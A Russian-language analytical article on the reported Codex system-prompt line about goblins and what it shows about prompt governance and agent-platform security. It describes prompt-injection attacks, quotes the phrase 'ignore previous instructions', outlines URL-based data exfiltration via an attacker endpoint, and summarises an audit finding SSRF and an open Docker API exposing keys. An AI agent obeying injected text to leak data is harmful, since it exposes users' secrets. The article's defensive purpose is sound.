Утечка системного промпта Codex: чему она учит о рисках LLM-платформ

Проверено 29 апреля 2026 года. История с «утечкой системного промпта Codex» быстро разошлась как мем про goblins. Но если смотреть на неё не как на курьёз, а как на инженерный сигнал, важнее другое: наружу вышел не просто странный запрет на слова, а сам факт, что поведение агентной платформы во многом задаётся текстовым контуром правил.

28 апреля 2026 года WIRED написала о строке в инструкциях Codex, которая запрещает модели без причины говорить о goblins, gremlins, raccoons, trolls, ogres и pigeons. 29 апреля Ars Technica продолжила тот же сюжет. Для обычного читателя это повод посмеяться. Для команд, которые строят агентные продукты, это напоминание: если ограничения, стиль и правила доступа живут в слое инструкций, этот слой становится частью архитектуры безопасности, а не просто настройкой тона.

При этом сам термин «утечка» здесь требует аккуратности. OpenAI в инженерном разборе Codex от 23 января 2026 года отдельно объясняет, что у продукта есть многослойный стек инструкций: model-specific instructions, developer и user instructions, локальные файлы AGENTS.md, skills и контекст среды. Более того, компания прямо пишет, что системное сообщение контролируется сервером, а инструменты и инструкции определяются клиентом. То есть обсуждаемая история важна не потому, что якобы раскрылся весь «секретный prompt», а потому, что она подсветила один из рабочих слоёв управления в агентной системе.

Если нужен продуктовый фон, его тоже стоит держать в голове. GPT-5.5 OpenAI представила 23 апреля 2026 года, а в анонсе отдельно сказано, что модель раскатывается в ChatGPT и Codex и усиливает сценарии агентного программирования. Иными словами, мемная история возникла не на периферии, а вокруг самого свежего слоя coding-агента OpenAI.

Что именно произошло вокруг Codex

По состоянию на 29 апреля 2026 года безопаснее всего формулировать событие так: в публично обсуждаемом стеке инструкций Codex всплыла строка, запрещающая модели без явной необходимости уходить в оффтоп про мифических существ и животных. Этого уже достаточно, чтобы сделать несколько практических выводов, даже если у нас нет оснований утверждать, что наружу попал полный закрытый system prompt.

Во-первых, такая строка редко появляется случайно. Обычно подобные запреты рождаются из реального поведения модели в продакшене: команда видит повторяющийся сбой, нежелательный стиль или странную ассоциацию и начинает латать его на уровне инструкций. Во-вторых, повторение одной и той же директивы в разных местах обычно указывает на то, что разработчики пытаются усилить сигнал для модели, а не просто оставить редакторскую заметку.

Именно это и делает историю содержательной. Когда агент работает не в пустом чат-окне, а в обвязке с инструментами, памятью, файлами, сетевыми вызовами и длинным контекстом, любая поведенческая инструкция перестаёт быть косметикой. Она становится попыткой держать модель в заданных рамках внутри шумной и потенциально враждебной среды.

И здесь OpenAI сама подсказывает правильную рамку. В январском тексте про Codex компания описывает agent loop как систему, где модель получает не просто запрос пользователя, а целый набор текстовых инструкций, контекста и результатов инструментов. Чем больше у агента возможностей действовать, тем важнее вопрос не «что он отвечает», а «какие системные правила направляют эти действия и где ещё должны стоять внешние ограничения».

Почему дело не в goblins, а в prompt governance

Сам по себе запрет на странные слова не делает платформу ни безопасной, ни небезопасной. Но он показывает, насколько много правил работы продукта сегодня упаковано в текст. В обычном чате это ещё можно воспринимать как управление тоном. В агентной среде, где модель ходит по ссылкам, вызывает инструменты и меняет файлы, тот же слой инструкций начинает управлять не только стилем, но и риском.

OpenAI в марте 2026 года прямо написала, что современные prompt injection-атаки всё меньше похожи на примитивное «игнорируй предыдущие инструкции» и всё больше напоминают социальную инженерию. Это важный сдвиг. Если внешний контент может не просто «сбить» модель, а убедить её сделать что-то нежелательное в правдоподобном рабочем контексте, надеяться на один системный prompt уже наивно.

В апрельском материале про Agents SDK компания формулирует это ещё жёстче: агентные системы нужно проектировать в предположении prompt-injection и попыток эксфильтрации. Там же OpenAI советует разделять обвязку и вычислительную среду, чтобы учётные данные не оказывались там, где исполняется сгенерированный моделью код. Это уже не разговор про красивый prompt. Это разговор про границы между инструкцией, исполнением и доступом к секретам.

Есть и более приземлённый пример. В январской заметке про безопасность ссылок OpenAI описывает тихую утечку через URL: модель можно подтолкнуть открыть адрес, в который уже зашиты приватные данные, а пользователь этого даже не заметит. Компания прямо пишет, что атакующий может заставить агента подгрузить URL вроде attacker.example/collect?data=<something private>, и если запрос уйдёт в фоне, секрет окажется в логах злоумышленника.

На этом фоне история с Codex важна не потому, что кто-то увидел странную строчку. Она важна потому, что напоминает: управление через prompt нужно, но само по себе не закрывает главные вопросы. Если агент может действовать, безопасность определяется не только текстом в system message, а тем, какие границы у инструментов, сети и прав доступа стоят вокруг него.

Где начинаются реальные риски LLM-платформ

Лучший способ не свести всё к мемам — посмотреть на реальные инцидентные паттерны. В апреле на Habr вышел подробный аудит LLM/RAG-платформы, где проблемы были уже не стилистическими, а архитектурными. Исследователи описали SSRF через user-controlled host для self-hosted Ollama, дефолтный JWT secret и открытый Docker API без аутентификации и TLS.

Смысл этого кейса в том, что он очень хорошо раскладывает поверхность атаки по слоям. На одном уровне у вас есть prompt и оркестрация инструментов. На другом — сетевые разрешения и маршрутизация. На третьем — секреты, контейнеры и инфраструктура. Пока команда обсуждает, как правильно формулировать системные инструкции, атакующий может просто дойти до слоя, где лежат ключи.

В разборе на Habr самое неприятное даже не SSRF, а то, чем всё закончилось. Через открытый Docker API можно было без аутентификации получить метаданные контейнеров и увидеть переменные окружения вроде OPENAI_API_KEY, ANTHROPIC_API_KEY, JWT_SECRET, DATABASE_URL и REDIS_URL. Авторы честно пишут: две недели сложных техник дали меньше, чем один HTTP-запрос к порту 2375.

Именно здесь prompt governance встречается с реальностью платформенной безопасности. Если агенту можно ходить в сеть, подключать модели по настраиваемому адресу, запускать код и читать результаты инструментов, риск уже не в том, скажет ли он «goblin». Риск в том, сможет ли манипуляция пройти по цепочке от текстовой инструкции к вызову инструмента, от вызова инструмента к сетевому доступу, а от сетевого доступа к секретам и управлению средой.

Что из этого должны вынести команды

Первый вывод неприятный, но полезный: системный prompt не должен быть единственным местом, где живёт ваша политика безопасности. Prompt может задавать стиль, приоритеты и часть поведенческих рамок. Но если чувствительные запреты, маршруты доступа и логика доверия существуют только в тексте, вы строите систему на слишком мягком слое.

Второй вывод практический: агентный стек надо проектировать как эшелонированную защиту. OpenAI в своих материалах повторяет одну и ту же мысль разными словами: исходите из prompt injection, ограничивайте последствия, держите учётные данные подальше от среды исполнения, не позволяйте агенту тихо тянуть непроверенные URL. Habr-кейс показывает ту же логику с другой стороны: whitelist хостов, DNS-проверки на приватные диапазоны, отсутствие дефолтных секретов, закрытый Docker API и ограниченный исходящий трафик дают больше пользы, чем бесконечное полирование системного текста.

Третий вывод касается управления продуктом. Чем агентнее становится платформа, тем меньше можно думать о prompt как о «магической строке». Это уже конфигурационный слой продукта. Его нужно версионировать, ревьюить, тестировать на регрессии, сравнивать diff’ы и рассматривать рядом с правами инструментов, настройками песочницы и журналированием действий. Если prompt меняет реальное поведение модели в коде, почте, браузере или IDE, он становится частью эксплуатационного контура.

Для более широкого контекста это хорошо перекликается с нашими материалами про Codex Chronicle и память из экранных записей, про OpenAI Safety Bug Bounty для ИИ-агентов и про GPT-5.4-Cyber и Trusted Access for Cyber. Во всех трёх случаях вопрос один и тот же: как сделать так, чтобы рост агентных возможностей не обгонял контуры контроля.

Итог

История с «утечкой системного промпта Codex» важна не потому, что у рынка появился новый мем. Она важна потому, что через одну странную строку мы увидели устройство всей категории. Агентные платформы сегодня держатся не только на качестве модели, но и на том, как организованы их инструкции, границы доступа, сеть, память и работа с инструментами.

По состоянию на 29 апреля 2026 года самый трезвый вывод такой: выход prompt-слоя наружу сам по себе ещё не доказывает критическую уязвимость, но очень хорошо показывает, где у продукта находятся реальные рычаги поведения. А значит, и где надо искать настоящие риски: не в слове goblin, а в стыке между слоем инструкций, слоем инструментов и инфраструктурой.

Источники и дата проверки

Факты, даты и формулировки в этом материале проверены 29 апреля 2026 года по материалам WIRED от 28 апреля 2026 года, Ars Technica от 29 апреля 2026 года, инженерному разбору OpenAI Unrolling the Codex agent loop от 23 января 2026 года, текстам OpenAI The next evolution of the Agents SDK, Designing AI agents to resist prompt injection, Keeping your data safe when an AI agent clicks a link, руководству OpenAI Developer Docs по agent safety, а также статье на Habr про аудит LLM-платформы.